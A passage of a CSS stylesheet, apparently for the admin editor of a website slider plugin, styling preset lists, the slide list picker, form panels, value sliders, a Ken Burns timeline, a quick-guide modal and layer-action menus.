    border-radius: 4px;
    line-height: 30px;
    padding: 0px 20px;
    margin-bottom: 1px;
    position: relative;
    cursor: pointer;
}

.presets_liste_inner.modern_preset_list .presets_listelement {
    width: 139px;
    box-sizing: border-box;
    display: inline-block;
    vertical-align: middle;    
    padding: 5px 10px;
    font-size: 11px;
    /*white-space: normal;*/
    margin-right: 1px;
    line-height: 20px;
    margin-bottom: 1px;
    height: 30px;
    text-align: center;
    /*background: #232425;*/
}

.presets_liste_inner.modern_preset_list .presets_listelement.onefourth {
  width: 69px;
}


.presets_listelement:hover {
  background: #006dd2;
  color: #fff;
}

.preset_help_icon { font-size: 17px !important; line-height: 20px !important;  transform: none !important; border: none !important; }

.presetssgroup_head:hover .presetssgroup_name,
.presetssgroup_head:hover i { color: #fff; }


.modern_preset_list .nosubpresetlevel .presets_listelements,
.modern_preset_list .custompresetgroup .presets_listelements { display: block !important; }
.modern_preset_list .custompresetgroup .presets_listelements .presets_listelement { width: 100%; display: block; text-align: left; padding-left: 20px; }
.modern_preset_list .nosubpresetlevel .presetssgroup_head .animation_drop_arrow,
.modern_preset_list .custompresetgroup .presetssgroup_head .animation_drop_arrow { display: none; }
.blankpagelink { color: #b7bbc0; text-decoration: none; line-height: 25px; }
.blankpagelink:hover { color: #fff; text-decoration: underline }

#rb_tlw .selected_preset.material-icons { border:none !important; display: none; width: 20px; height: 20px; box-shadow: 0px 5px 15px 0px rgba(0,0,0,0.5); color: #fff; background: #006dd2; border-radius: 4px; position: absolute; pointer-events: none; top:5px; left:5px; transform:none !important; font-size: 15px;line-height: 20px;text-align: center;}

#rb_tlw .s_s_preset .presets_liste_head .selected_preset.material-icons { display: block }

.modern_preset_list .presets_listelement.dark_btn:hover { background: #40444A;  }

.modern_presets.presets_liste.slide_trans_templates.s_s_preset,
.modern_presets.presets_liste.slide_trans_templates.s_s_preset .presets_liste_title { background: #40444A; }
.modern_preset_list .presets_listelement.dark_btn.s_s_preset:hover,
.presets_listelement.dark_btn.s_s_preset { background: #006dd2; }

.modern_preset_list .presets_listelement.dark_btn:hover {  z-index: 20; box-shadow: 0px 0px 15px rgba(0,0,0,0.5); overflow: visible;}


#rb_tlw .s_s_preset .presets_liste_head { color: #fff !important; }

#rb_tlw .s_s_preset .presetssgroup_head .presetssgroup_name,
#rb_tlw .s_s_preset.presets_listelement.dark_btn,
#rb_tlw .s_s_preset .presets_liste_head { color: #fff !important }

.modern_preset_list .presets_listelement.dark_btn .preset_favorite { display:none !important;width: 20px; height: 30px; line-height:30px !important; font-size: 15px; text-align:center; background: #40444A; color: #fff; position: absolute;left: -18px; top: 0px; border-radius:4px 0px 0px 4px; border:none !important; transform:none !important;filter:brightness(110%);}
.modern_preset_list .presets_listelement.dark_btn.s_s_preset .preset_favorite { background: #006dd2; }
.modern_preset_list .presets_listelement.dark_btn.favright .preset_favorite { left:auto; right: -18px; top: 0px; border-radius:0px 4px 4px 0px; border:none !important; transform:none !important;}
.modern_preset_list .presets_listelement.dark_btn:hover .preset_favorite { display: block !important;  }

.modern_preset_list .presets_listelement.dark_btn .preset_favorite:hover { filter:brightness(130%); }


.showonlyfavoritpresets .modern_presets { pointer-events: none; opacity: 0.5; }
.showonlyfavoritpresets .modern_preset_list .presetssgroup { display: none; }

.showonlyfavoritpresets .modern_presets.prs_is_favorit { pointer-events: auto; opacity: 1;  }
.showonlyfavoritpresets .modern_preset_list .presetssgroup.prs_is_favorit { display: block; }

.showonlyfavoritpresets .presetelement.presets_listelement.dark_btn:not(.prs_is_favorit) { display: none }

/***********************
 - SLIDE LIST PICKER - 
************************/

#slidelist { padding: 0px; margin: 0px; list-style: none }

.slide_list_element {  display:block;box-sizing:border-box; position: relative; cursor: pointer; z-index:1; min-height:30px; width:300px; margin-bottom: 0px; line-height: 30px }
.slide_list_element i { display: inline-block; }
#slide_thumb_repeater { position: absolute; left: 300px; top: 0px; }
.sle_thumb          { display: none; box-sizing:border-box;width: 200px;height: 110px; background-size: contain; background-position: center center; /*position: absolute; top: 0px;left: 300px;*/ position: relative; box-shadow:0px 3px 10px 0px rgba(0,0,0,0.25);z-index: 1500;}
.sle_description    { white-space:nowrap; box-sizing:border-box;position:relative; display:inline-block; line-height:30px; font-weight:500; vertical-align:top; background:transparent;color:#b7bbc0;font-size: 13px;text-align:left; width: 180px; overflow: hidden }


#slide_thumb_repeater .sle_thumb { display: block !important }
.sle_description i.material-icons { font-size: 16px; margin-right: 10px; }


#theslidermodule { background: #2a2c2f }

#theslidermodule .sle_thumb,
#newslide .sle_thumb { display: none !important; }


#theslidermodule,
#newslide { display: block; }

#theslidermodule .sle_thumb { background-position: center center; background-size: 108px 68px; background-repeat: no-repeat }

.sle_thumb i { position: absolute; left: 50%;top: 50%;  color: #006dd2; font-size: 40px; margin-left: -20px;margin-top: -5px; }

.slidetab_toolbox .addchildslide,
.slidetab_toolbox .editslide,
.slidetab_toolbox .deleteslide,
.slidetab_toolbox .publishedslide,
.slidetab_toolbox .unpublishedslide,
.slidetab_toolbox .duplicateslide { display:inline-block; font-size:13px; width:16px; margin-right:5px; color:#fff; opacity:0.5;}

.slidetab_toolbox .addchildslide { margin-right: 0px; font-size: 15px; }

.slidetab_toolbox i.material-icons { font-size: 13px; }
.slidetab_toolbox .addchildslide i.material-icons { font-size: 15px }


.slidetab_toolbox {  display:none; width:85px; height:30px;text-align:right; position: absolute;right: 0px; padding-right:10px;line-height: 30px;top: 0px;  z-index:1020;}
.rs-multilanguage_on .slidetab_toolbox { width: 102px; }
.slide_list_child_element .slidetab_toolbox, 
.slide_list_element .slidetab_toolbox {  background: linear-gradient(to right, rgba(63,68,74, 0) 0%,rgba(63,68,74,1) 20%,rgba(63,68,74,1) 100%);}
.slide_list_element.selected >.slide_elemenet_content .slidetab_toolbox,
.slide_list_child_element.selected >.slide_elemenet_content .slidetab_toolbox {  background: linear-gradient(to right, rgba(0,109,210, 0) 0%,rgba(0,109,210,1) 20%,rgba(0,109,210,1) 100%);}
.slide_list_child_element >.slide_elemenet_content:hover .slidetab_toolbox,
.slide_list_element >.slide_elemenet_content:hover .slidetab_toolbox { display: block; }
.slide_list_element:hover   { z-index: 15;}
.slide_list_element.selected {z-index: 10;}


.do_not_sort_slide_list_element.slide_list_element.selected >.sle_description,
.slide_list_child_element.selected >.slide_elemenet_content .sle_description,
.slide_list_child_element:hover >.slide_elemenet_content .sle_description,
.slide_list_element.selected >.slide_elemenet_content .sle_description,
.slide_list_element:hover >.slide_elemenet_content .sle_description  { color: #ffffff; }

.do_not_sort_slide_list_element.slide_list_element:hover,
#newslide:hover,
.slide_list_child_element >.slide_elemenet_content:hover,
.slide_list_element:hover >.slide_elemenet_content { background: #3f444a; }

.slide_elemenet_content { padding: 0px 20px;display:block;box-sizing:border-box; position: relative; cursor: pointer; z-index:1; min-height:30px; width:300px; margin-bottom: 0px; line-height: 30px }

.do_not_sort_slide_list_element.slide_list_element.selected,
.slide_list_child_element.selected >.slide_elemenet_content,
.slide_list_element.selected >.slide_elemenet_content { background: #006dd2; color: #fff; }

.main_mode_selector:hover { background: #3f444a; }

/*.slide_list_child_element:hover>.sle_thumb,
.slide_list_element>.slide_elemenet_content:hover>.sle_thumb { display:block;}*/

.addchildslide:hover,
.editslide:hover,
.deleteslide:hover,
.publishedslide:hover,
.unpublishedslide:hover,
.duplicateslide:hover { color:#fff !important; opacity: 1; }

.publishedslide i.material-icons.publishedicon { display: inline-block !important}
.publishedslide i.material-icons.unpublishedicon { display: none !important}

.unpublishedslide i.material-icons.publishedicon { display: none !important }
.unpublishedslide i.material-icons.unpublishedicon { display: inline-block !important}

#newslide,
.do_not_sort_slide_list_element.slide_list_element {  padding: 0px 20px; }

.slide_list_child_element >.slide_elemenet_content { background: #2a2c2f; margin-bottom: 0px;padding-left: 48px; }

.ui-sortable-helper .slide_list_child_element_wrap { display: none; }

.slide_list_child_element_wrap { }
.slide_list_element:hover .slide_list_child_element_wrap { display: block; }

li.slide_list_child_element { margin-bottom: 0px }


#builderView.slides_in_sort .slide_list_element .sle_thumb,
#builderView.slides_in_sort .slide_list_child_element { display: none }

#builderView.slides_in_sort .slide_list_element {height:30px; overflow: hidden;}


/**************************************
    HOVERED AND MARKED CONTAINERS
     - CRUMBS - 
**************************************/
.aable.hovered,
.markable.marked  { outline:1px solid #006dd2}
.layer_grid        { }

.layer_grid>.lg_topborder { width: 100%;height: 0px; z-index: 10000; position:absolute; top:-2px;left:0px; border-top:2px dashed #006dd2;}
.layer_grid>.lg_bottomborder { width: 100%;height: 0px; z-index: 10000; position:absolute; bottom:-2px;left:0px;border-bottom:2px dashed #006dd2;}
.layer_grid>.lg_leftborder { height: 100%;width: 0px; z-index: 10000; position:absolute; top:0px;left:-2px;border-left:2px dashed #006dd2;}
.layer_grid>.lg_rightborder { height: 100%;width: 0px; z-index: 10000; position:absolute; top:0px;right:-2px;border-right:2px dashed #006dd2;}

.nohiglightboxes .layer_grid>.lg_topborder,
.nohiglightboxes .layer_grid>.lg_bottomborder,
.nohiglightboxes .layer_grid>.lg_leftborder,
.nohiglightboxes .layer_grid>.lg_rightborder { opacity: 0 !important }

.tp-dialog { display: none; }

/********************
 - PROGRESS BAR -
********************/
#rev_progress_bar_wrap {width:100%;height:10px; position: absolute;top:auto;left:0px;bottom:0px;z-index:10; }
.rev_progress_bar { display:block;z-index: 20;box-sizing: border-box;background-clip: content-box;position: absolute; vertical-align:top;line-height:0px;width:100%;height:100%; }
.rev_progress_bgs { z-index: 15; box-sizing: border-box; width: 100%; position: absolute; height: 100%; top: 0px; left: 0px; }
.rev_progress_bg {  display:block;background-clip: content-box; position: absolute;width:100%;height:100%; }
.rev_progress_gap {  display:block;background-clip: content-box; position: absolute;width:100%;height:100%; }
#rev_progress_bar_wrap.deactivated { display: none !important; }



/********************************
  - FORM CONTAINERS -
**********************************/
/* FORM COLLECTOR */
.form_collector {  display: none; position: relative; cursor: default; width: 100%; z-index:100 }
.form_collector.hiddencollector { display: none !important }


#form_collector_flexible_modal.form_collector  { position: fixed; top: 50% !important; left: 50% !important; transform:translate(-50%, -50%) !important;z-index:100000;}
.form_collector.dropover:before { padding:1px;content:" ";position:absolute; top:-2px;left:-2px;width:100%;height:100%;border: 2px solid #006dd2;box-sizing: content-box}
.form_collector.removingtab:before { padding:1px;content:" ";position:absolute; top:-2px;left:-2px;width:100%;height:100%;border: 2px solid #ff0000;box-sizing: content-box}


.formcontainer            { z-index: 100; display: block; }


.form_collector .drag_handle_icon { cursor: context-menu;  }

.collectortabwrap { position: relative; z-index: 1000; width: 100%;height:40px; line-height: 50px;top: 0px;left: 0px;  cursor: move; }
.collectortab     { position: relative; display: inline-block; height:40px; line-height: 40px; color:#fff; padding:0px 10px;cursor: pointer; vertical-align: top; font-size: 15px; font-weight: 400}

.collectortab,
.form_collector .form_inner_header { padding-left: 15px; box-sizing: border-box; }
.form_inner_header.innerwrap_breakout { margin: 0px -20px; }

.collectortabwrap i {  font-size: 17px;margin-right: 10px; }


#addon_configuration_subpanel { display: block !important; padding: 30px 42px; box-sizing: border-box}
 
.incollector_mode .collectortabwrap { display: block; }

/* FORM CONTAINER */
.formcontainer{ width:100%;height:auto;vertical-align: top; position:relative;   box-sizing: border-box; border-radius:3px; top:0px;left:0px; z-index: 10;}


#__inmodal_formcontainerunderlay { display:none;position: fixed; top: 0px;left: 0px;width: 100%;height: 100%;background: #1b1c1d; opacity: 0.85; z-index: 999; }
.form_inner   { padding:30px;background:#ff0000;}

.form_header  { display:none;z-index:1;width:100%;line-height: 30px; padding:0px; font-size: 13px; color:#fff;  box-sizing: border-box; font-weight: 400; border-radius:3px 3px 0px 0px; white-space: nowrap; cursor: move} 


.open_close_slide,
.form_intoaccordion { display: block;  font-size:20px; width:100%; height:40px; position: absolute; top:0px; left:0px; text-align:left;  cursor: pointer; color:#000;z-index:1005;line-height: 40px; box-sizing: border-box; padding-left:6px;}


/***********************************************
 - GENERAL MODULE SETTINGS SPECIAL DROPDOWNS  -
************************************************/
.layer_settings_collector .collectortab,
.slide_settings_collector .collectortab,
.slider_general_collector .collectortab,
.nav_collector .collectortab { display: none }

.layer_settings_collector.collapsed .form_intoaccordion,
.slide_settings_collector.collapsed .form_intoaccordion,
.slider_general_collector.collapsed .form_intoaccordion,
.nav_collector.collapsed .form_intoaccordion { display: none }

.layer_settings_collector .collectortabwrap,
.slide_settings_collector .collectortabwrap,
.slider_general_collector .collectortabwrap,
.nav_collector .collectortabwrap { display: none }

.gso_wrap { background: #202224; padding: 20px 10px 15px; }
 
 .slide_submodule_trigger,
 .layer_submodule_trigger,
 .general_submodule_trigger,
 .nav_submodule_trigger {  width: 25%; display: inline-block; box-sizing: border-box; text-align: center; height: 35px; vertical-align: top; margin-bottom: 20px;color: #777c80; cursor: pointer; max-width:74px;}

 .slide_submodule_trigger i.material-icons,
 .layer_submodule_trigger i.material-icons,
 .general_submodule_trigger i.material-icons,
 .nav_submodule_trigger i.material-icons { font-size: 20px;  display: block !important; margin-bottom: 5px;  max-width: 74px}

 .gso_title {font-size: 12px; line-height: 13px; white-space: nowrap}

 .layer_submodule_trigger:hover,
 .layer_submodule_trigger.selected,
 .slide_submodule_trigger:hover,
 .slide_submodule_trigger.selected,
 .general_submodule_trigger:hover,
 .general_submodule_trigger.selected,
 .nav_submodule_trigger:hover,
 .nav_submodule_trigger.selected { color: #fff; }

  .layer_submodule_trigger:hover i,
 .layer_submodule_trigger.selected i,
 .slide_submodule_trigger:hover i,
 .slide_submodule_trigger.selected i,
 .general_submodule_trigger:hover i ,
 .general_submodule_trigger.selected i,
 .nav_submodule_trigger:hover i ,
 .nav_submodule_trigger.selected i{ color: #006dd2; }


.form_header_title {  line-height: 40px;padding:0px 10px;display: inline-block;border-right:1px solid #eee;border-bottom:1px solid #eee;margin-bottom: -1px;}
.form_inner_header { display: none; font-size: 14px; line-height: 40px; text-transform: capitalize; color:#777c80;padding: 0px 10px; background: #2a2c2f;  font-weight: 500;}

.layer_settings_collector .form_inner_header,
.slide_settings_collector .form_inner_header,
.slider_general_collector .form_inner_header,
.nav_collector .form_inner_header {  background: #3f444a; color: #b7bbc0; }


/*******************
- VALUE SLIDERS -
*******************/
.withvalslider { position: relative; display: inline-block;}
.rs_vswrap {border-radius:4px; height:5px; padding:10px 0px; width:100%; bottom:-2px; position:absolute; display: block; opacity:0; left:0px;box-sizing: border-box;}
.rs_vsdone { width: 0px; height: 2px; border-radius: 4px; background: #006dd2;position: absolute; left: 0px;top: 10px; }
.rs_vsrail { width: 100%; pointer-events:none; height:2px; border-radius: 4px; background: #2a2c2f;position: absolute; left: 0px;top: 10px; }
.rs_vspin { width: 9px; height: 9px; position: absolute; left: -2px;top: 6px; border-radius: 5px; background: #b7bbc0; cursor: pointer}

.withvalslider:hover .rs_vswrap,
.withvalslider.indrag .rs_vswrap { opacity:1}

.rs_vswrap:hover .rs_vspin,
.withvalslider.indrag .rs_vspin { background:#fff;}


/*******************+******
 - KEN BURN SIMULATION -
**************************/
#ken_burn_bg_setting_on #slide_bg_and_repeat_fit_wrap { display: none !important; }
#kenburn_timeline { background: #2a2c2f; border-radius:4px; height:5px; width:200px; position:relative; display: inline-block;  margin-top:10px; margin-bottom:10px;}
.pz_timedone { width: 0px; height: 5px; border-radius: 4px; background: #006dd2;position: absolute; left: 0px;top: 0px; }
.pz_pin { width: 9px; height: 9px; position: absolute; left: -2px;top: -2px; border-radius: 5px; background: #b7bbc0; cursor: pointer}
#kenburn_timeline:hover .pz_pin,
#kenburn_timeline.indrag .pz_pin { background: #fff; }
#kenburn_timeline { margin-right: 9px; }
#kenburn_simulator { margin-right: 4px; }

rs-pzimg-wrap { display: block; position: absolute }


/* FIXED POSITIONED FORMCOLLECTORS HAS DIFFERENT BEHAVIOR */


.form_collector .form_inner .form_intoaccordion { height: 40px; line-height: 40px;}
.form_collector .form_intoaccordion i { transform: rotate(0deg); position: absolute; right:4px; }

.open_close_slide i,
.form_collector .collapsed .form_intoaccordion i { transform: rotate(-90deg); }

.opened_slidetab .open_close_slide i { transform: rotate(0deg); }

.form_collector  .form_inner .form_intoaccordion i { transform: rotate(-90deg); }
.form_collector  .form_inner.open .form_intoaccordion i { transform: rotate(0deg); }



#the_container .form_collector .collectortabwrap { cursor: pointer; }
#the_container .form_collector .form_inner { display: block !important; padding:0px;position: relative; margin-bottom: 1px}

#the_container ._just_carousel_ .form_collector .form_inner._nvojcm_ { display: none !important;}
#the_container ._just_carousel_ .form_collector .form_inner ._nvojcm_ { display: none !important;}
#the_container .form_collector .form_inner.hide_while_empty { display: none !important; }


#the_container ._just_carousel_ .form_collector .form_inner #sr_size_width_d,
#the_container ._just_carousel_ .form_collector .form_inner #sr_size_width_n,
#the_container ._just_carousel_ .form_collector .form_inner #sr_size_width_t,
#the_container ._just_carousel_ .form_collector .form_inner #sr_size_width_m  { opacity: 0.3 !important; pointer-events: none !important; }

#the_container .form_collector .form_inner .collapsable { padding: 20px;display:none; position: relative}
#the_container .form_collector .form_inner.open .collapsable {  display:block;}

.form_collector .form_inner_header { display: block!important; cursor: pointer; }
.form_collector .form_inner_header .material-icons { font-size: 17px; margin-right: 15px; line-height: 40px }
#the_container .form_collector .form_menu_level_1 { display: none !important; }
#the_container .form_collector .form_closer { display: none !important; }

#the_container .form_collector .formcontainer.collapsed .form_inner { display: none !important; }


#the_container .formcontainer[data-hovered='on'] .collectortabwrap {  }
#the_container .form_collector div[data-hovered='on']>.form_inner_header {  }


/* FORM MENUS */
.form_menu_level_1 { list-style: none; margin: 0px 0px 0px 0px; line-height: 20px; border-bottom: 1px solid #333;  display:block; padding:25px 25px 6px;border-top:1px solid #333;}
.form_menu_level_1 li { text-transform:uppercase;list-style: none; display: inline-block; line-height: 20px; color: #333; cursor: pointer;  font-weight: 400; margin: 0px 15px 0px 0px;padding: 0px 0px 0px;}

.form_menu_level_1 li:hover,
.form_menu_level_1 li.selected { color: #006dd2;  }

.form_menu_level_2 { list-style: none; padding: 0px;margin: 0px 0px 30px 0px; line-height: 20px;  display:block;}
.form_menu_level_2 li { box-sizing:border-box;position:relative;list-style: none; z-index:1;display: inline-block; line-height: 40px; font-size: 14px; font-weight: 500; border:1px solid #d4dce4; cursor: pointer; font-weight: 500; padding: 0px 20px; margin-right:-1px;}

.form_menu_level_2 li:first-child {  border-radius:3px 0px 0px 3px;}
.form_menu_level_2 li.last {  border-radius:0px 3px 3px 0px;}
.form_menu_level_2 li:hover,
.form_menu_level_2 li.selected { color: #006dd2; border-color: #7597b7; z-index:2;}

.form_menu_level_2 li>i { margin-right: 10px; font-size: 25px;  }


/* DISABLED THINGS */
.form_menu_level_2 li.disabled { opacity: 0.5; cursor: default }
.form_level_2_inner.disabled { position: relative; }
.form_level_2_inner.disabled:after { position: absolute; content: " "; width: 100%;height: 100%;top: 0px;left: 0px; background: rgba(255,255,255,0.5); cursor: default }


/* DARK FORMMENUS */
 .form_menu_level_1 {  border-color: #2a3441; background: #2f3a49}
 .form_menu_level_1 li { color: #8095a3;border-bottom:1px solid #2a3441; padding-bottom:6px;margin-bottom: -7px;}
 .form_menu_level_1 li:hover,
 .form_menu_level_1 li.selected { color: #fff;border-color: #006dd2; }

 .form_menu_level_2 { border-bottom: 1px solid #3e4a5a; display: inline-block; margin-bottom:15px;}
 .form_menu_level_2 li { color: #6d808e;border-color: #6d808e; font-size:12px; font-weight:600;padding:0px; border:none; border-bottom:1px solid transparent;margin-right:15px; line-height: 25px; margin-bottom:-1px;}
 .form_menu_level_2 li:last-child { margin-right: 0px; }
 .form_menu_level_2 li:hover,
 .form_menu_level_2 li.selected { color: #fff;border-color: #006dd2; }

.form_collector { border:none }

 .collectortab {color:rgba(183,187,192,1);}

.open_close_slide i,
 .collapsed .form_intoaccordion i,
 .collapsed .collectortab i,
 .collapsed .collectortab  { color:rgba(183,187,192,1); }

.slide_list_element:hover .open_close_slide i,
.open_close_slide:hover i { color: #fff; }

 .form_inner     { background: #202224 }
 #the_right_toolbar .form_inner { background: #323438; }

 .form_header_title,

 .collectortabwrap,
.form_collector:after { background: #3f444a; }


 .form_intoaccordion { color:#777c80; }

 .formcontainer>.form_intoaccordion { color: #b7bbc0; }

#the_container .formcontainer[data-hovered='on'] .collectortabwrap,

#the_container .formcontainer[data-hovered='on'] >.form_intoaccordion,
#the_container .form_collector div[data-hovered='on'] >.form_intoaccordion,
#the_container .formcontainer[data-hovered='on'] .collectortabwrap .collectortab {  color:#fff;}

#the_container .form_collector div[data-hovered='on']>.form_inner_header,
 #the_container .form_collector div[data-hovered='on']>.form_inner_header { color: #b7bbc0; }

 .collectortab:after { background: #2a3441; }
 .collectortab:hover:after,
 .collectortab.selected:after{ background:#202224 }
 .form_menu_inside.collectortab.selected:after { background: #2f3a49; }

.form_menu_inside { margin-bottom: 50px; }

.form_menu_inside.collapsed { margin-bottom: 0px; }
/* MAIN LIGHT FORMSETTINGS*/

#form_slidergeneral_module { height: 700px; background:#202224;box-sizing: border-box;   padding-top:48px;}

.__inmodal .form_header { display: block; background: #006dd2; height: 60px;line-height: 60px; }
.__inmodal .form_menu_level_1 {  border:none; background:#2a2c2f;width:220px; height:100%; position: absolute; top:0px;left:0px;box-sizing: border-box; padding:30px; z-index: 5}
.__inmodal .form_menu_level_1 li { display:block; color: #777c80; text-transform: capitalize; font-size: 17px; font-weight: 500; margin:0px; padding:0px; line-height:20px; margin-bottom: 22px; border: none; }
.__inmodal .form_menu_level_1 li:hover,
.__inmodal .form_menu_level_1 li.selected { color: rgba(183,187,192,1);}

.__inmodal .form_menu_level_2 { border: none; padding: 0px; background: transparent; margin-bottom: 20px; }
.__inmodal .form_menu_level_2 li { box-sizing: border-box;display: inline-block;color: #b7bbc0;font-size: 17px;line-height: 30px;font-weight: 500;cursor: pointer;margin-right: 28px;vertical-align: top; }
.__inmodal .form_menu_level_2 li:hover,
.__inmodal .form_menu_level_2 li.selected { color: #006dd2; border: none; }

.__inmodal .form_menu_level_2 li>i { color: #7597b7; }
.__inmodal .form_menu_level_2 li:hover >i,
.__inmodal .form_menu_level_2 li.selected >i {color:#006dd2}

.__inmodal.form_collector { border:none; width: 1040px; box-shadow: none; max-width: none; }

.__inmodal .collectortab   { background:#2a3441;  color:#8095a3; border-color:#2a3441;border-bottom-color:#2a3441;}

.__inmodal .form_inner { height: 595px; padding:30px; box-sizing: border-box; position: relative}

.__inmodal .form_header_title { padding: 0px 30px }
.__inmodal .form_header_title,
.__inmodal .collectortab:hover,
.__inmodal .collectortab.selected { background: #006dd2; border:none}

.__inmodal .form_header_title,
.__inmodal .form_menu_inside.collectortab.selected { background: #006dd2; border:none; line-height: 60px; font-size: 19px; font-weight: 500 }

.__inmodal .collectortabwrap,
.__inmodal.form_collector:after { background: #2a3441; }

.__inmodal .form_intoaccordion { color: #fff; font-size: 30px; top: 5px;right: 10px;}

.__inmodal .form_intoaccordion:hover { color: #fff; }

.__inmodal .collectortab:after { background: #2a3441; }
.__inmodal .collectortab:hover:after,
.__inmodal .collectortab.selected:after{ background:#354151 }
.__inmodal .form_menu_inside.collectortab.selected:after { background: #2f3a49; }



/* QUICK GUIDE*/
#rbm_quickguide .mcg_page {display: none;width: 100%;height: 100%;position: absolute;top: 0px;left: 0px;box-sizing: border-box; padding:75px 120px;background-color:#212226;}
#rbm_quickguide .mcg_page.mcg_selected { display: block; }

#mcg_page_0_blurredbox,
#mcg_page_0 { background-image: url(../images/guide/guide.jpg); background-size:1202px 752px; background-position:center top; background-repeat: no-repeat;}
#mcg_page_0_blurredbox { z-index:2;filter: blur(10px);  border-radius:6px; overflow: hidden; opacity:0.90; position: absolute;top:-50px;left:-50px;width: 820px; height: 220px;  background-position: -190px -530px;}
.mcg_page_footer { z:index:2;position: absolute; border-radius:6px; overflow:hidden; top:580px; left: 240px; width: 720px;height: 120px; box-shadow: 0px 20px 25px rgba(0,0,0,0.4);}

.mcg_o_title { color: #fff; font-size: 20px; line-height: 25px; font-weight: 600; text-align: left;margin-bottom:25px;}
.mcg_o_title_gray { color: #767c80; font-size: 17px; line-height: 25px; font-weight: 500; text-align: left;margin-bottom:15px;}
.mcg_page_title { color: #fff; font-size: 30px; line-height: 35px; font-weight: 600; text-align: center;margin-bottom:55px;}
.mcg_o_descp { color: #777c80; font-size: 14px; line-height: 20px; font-weight: 400; text-align: left;}
.mcg_page_subtitle { color: #777c80; font-size: 20px; line-height: 25px; font-weight: 400; text-align: center;}

.mcg_option_third { width: 280px; margin-right: 50px; display: inline-block; text-align: left; vertical-align: top}

#rbm_welcomeModal .mcg_option_third { width: 296px; }
.mcg_option_third.last { margin-right: 0px; }

.mcg_video_preview { width: 280px; height: 160px; box-shadow: 0px 20px 40px rgba(0,0,0,0.35); background: #2e3033}

.mcg_footer_btns_right { position: absolute; bottom: 20px; left: 20px; width: 500px; text-align: left; display: block}
.mcg_footer_btns { position: absolute; bottom: 20px; right: 20px; width: 500px; text-align: right; display: block}
.mcg_page_minititle,.mcg_page_pagination { color:#767c80; font-size: 15px; display:inline-block;line-height: 30px; margin-right: 20px; font-weight: 400 }

i.rbm_close.material-icons:hover { color: #fff; }

#rbm_quickguide grayiconbox { background: #313437; }
#rbm_quickguide grayiconbox,
#rbm_quickguide blueiconbox { color: #fff !important; box-shadow: 0px 5px 10px rgba(0,0,0,0.3) }

/* LAYER ACTIONS */
#rbm_layer_action .rbm_content { min-height: 530px; display: table; width: 100%;  position: relative;background:#323438;}
#layeraction_list { display:none; height: 100%;width: 100%;  position: relative; background: #323438; z-index: 10; position: absolute; top:0px;left:0px;overflow: hidden;}
#action_inputs { display:none; position: absolute; top: 0px; left: 0px;padding: 30px; }

#no_action_added,
#no_action_selected { font-size: 15px; color: #b7bbc0; font-weight: 400; display: inline-block;  white-space: nowrap; overflow: hidden; position: relative; vertical-align: top; padding: 30px 20px; box-sizing: border-box; text-align: center}
#no_action_added .material-icons,
#no_action_selected .material-icons { vertical-align: top; font-size: 20px; margin-right: 10px; }

.mdl_group,
.lal_group { margin-bottom: 1px; padding-bottom: 5px; }



.mdl_group_header,
.lal_group_header { display: block; line-height: 30px; background: #3f444a; color:#b7bbc0; font-size: 14px; position: relative; padding:0px 10px; cursor: pointer; margin-bottom:5px;}

#rev_builder.inAnimationMode ._group_head_ { background: #5e35b1; }

.mdl_group_header i.fa__icons,
.mdl_group_header i.material-icons,
.lal_group_header i.material-icons { line-height: 30px; font-size: 17px; color: #b7bbc0; margin-right: 10px; cursor: pointer; }
.mdl_group_header i.material-icons.accordiondrop,
.lal_group_header i.material-icons.accordiondrop { margin: 0px; position: absolute; transform-origin: 50% 50%; right: 5px;top: 0px; width:23px; text-align:center; font-size: 22px; cursor:pointer; transform: rotate(180deg);}

.mdl_group_member,
.lal_group_member { display: block; line-height: 30px;  color:#b7bbc0;background: #3f444a; font-size: 14px; position: relative; padding:0px 10px; cursor: pointer}

.mdl_group .mdl_group_member,
.lal_group .lal_group_member { padding-left: 25px;background: #323438; }

.mdl_group_member i.material-icons,
.mdl_group_member i.fa__icons,
.lal_group_member i.material-icons { line-height: 30px; font-size: 17px;  margin-right: 10px; color:inherit;}

.mdl_group_member:hover,
.mdl_group_member.selected,
.lal_group_member:hover,
.lal_group_member.selected { background: #006dd2; color: #fff; cursor: pointer }

.mdl_group.closed .mdl_group_member,
.lal_group.closed .lal_group_member { display: none }

.mdl_group.closed .mdl_group_header i.material-icons.accordiondrop,
.lal_group.closed .lal_group_header i.material-icons.accordiondrop { transform: rotate(0deg); }

.la_settings { display: none; }

.mdl_placeholder_content,
.mdl_left_content,
.mdl_right_content { display: inline-block; width: 33%; vertical-align: top; }


 .mdl_placeholder_content {     height: 30px;overflow: hidden;position: relative; white-space: nowrap}
 
#mdl_group_wrap_menu { display: block; position: absolute; width: 700px; height: 50px; top: 0px; right: 50px; text-align: right; }
.mdl_group_wrap_menuitem { display: inline-block; line-height: 50px; height: 50px; padding: 0px 10px; cursor: pointer; vertical-align: top; }

.mdl_group_wrap_menuitem:hover { color: #fff; }
.mdl_group_wrap_menuitem.selected { background: #006dd2; color: #fff; }


.mdl_group_wrap { display: none; }
.mdl_group_wrap.selected { display: block; }

.mdl_group .mdl_group_member:last-child{ margin-bottom: 15px; }

#rbm_layer_metas .rbm_content { height: 400px; overflow: hidden; position: relative }


#layeractions_overview_innerwrap { padding: 20px 30px; height: 530px; display: block; box-sizing: border-box; position: relative; overflow:hidden;}
#layer_with_action_wrap { border: 1px dashed #006dd2; font-size: 14px; line-height: 25px; }
#layer_with_action { line-height: 30px; padding: 0px 10px;  }
#layer_with_action .lwa_layername { line-height: 30px; color: #fff; font-size: 14px; }
.lwa_icon.material-icons { color: #006dd2; font-size: 17px; margin-right: 10px; margin-left: 5px}


ul.layer_depending_wrap .drop_dependencies i { position: relative; transform-origin: "50% 50%" }

#layer_width_action_inner_wrap { padding: 0px;border-top: 1px dashed #006dd2; display: none }
ul.layer_depending_wrap { margin:0px !important; display: none; padding-bottom: 10px} 
.opendeps ul.layer_depending_wrap { display: block; }
.opendeps #layer_width_action_inner_wrap { display: block; }
.opendeps .drop_dependencies i.material-icons { transform: rotateZ(180deg); }

li.layer_depending_on { line-height: 35px; padding: 0px 15px; margin: 0px;border-bottom: 1px dashed #006dd2; }
.layer_depending_on .ldo_layername { line-height: 35px; color: #b7bbc0; font-size: 14px; display: inline-block;width: 120px;overflow: hidden;vertical-align: top;padding-right: 10px }
.drop_dependencies { line-height: 30px; color: #b7bbc0; font-size: 14px;  float:right; vertical-align: top; cursor: pointer; display: inline-block}
.layer_depending_on .ldo_actionname { line-height: 35px; color: #777c80; font-size: 14px; display: inline-block;float: right;overflow: hidden;vertical-align: top;}
.ldo_icon.material-icons { color: #777c80; font-size: 17px; margin-right: 10px; }

